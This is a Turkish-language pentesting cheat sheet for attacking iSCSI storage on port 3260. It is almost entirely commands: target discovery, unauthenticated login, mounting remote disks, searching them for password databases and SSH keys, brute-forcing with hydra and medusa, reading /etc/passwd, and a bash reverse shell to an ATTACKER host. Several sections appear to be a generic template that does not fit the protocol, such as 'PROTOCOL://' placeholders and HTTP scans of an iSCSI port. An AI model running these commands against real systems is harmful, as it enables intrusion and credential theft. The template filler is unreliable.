3260 - Pentesting ISCSI

iSCSI storage

iSCSI disk hedefleri sunar. Auth’suz discovery + login = uzak blok cihazı mount. Hedef lab IP’si üzerinde komutları 3260 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 3260 doğrula.

2. SendTargets discovery.

3. Auth’suz login dene.

4. LUN mount edip dosya sistemini oku.

Keşif

nmap -Pn -sV -p3260 TARGET

nmap -Pn -p3260 --script iscsi-info TARGET

iscsiadm -m discovery -t sendtargets -p TARGET

nmap -p3260 --script iscsi-info TARGET

Login

iscsiadm -m node -T iqn.target -p TARGET --login

CHAP yoksa doğrudan login

iscsiadm -m node -T iqn.target -p TARGET -o update -n node.session.auth.username -v user

Mount & loot

fdisk -l

mount /dev/sdb1 /mnt

find /mnt -name '*.kdbx' -o -name 'id_rsa' -o -name '*.vmdk' 2>/dev/null | head

Derin enum

ISCSI için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p3260 TARGET

nmap -Pn -p3260 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3260' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',3260));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ISCSI

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 3260 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3260

nmap -p3260 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit iSCSI

msfconsole -q -x 'search iSCSI; exit'

nuclei -u https://TARGET:3260 -t cves/ -silent -severity || true

nuclei -u http://TARGET:3260 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 3260

printf '
' | timeout 3 nc -nv TARGET 3260

curl -vk --http1.0 http://TARGET:3260/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

discovery → login → mount LUN → credential files
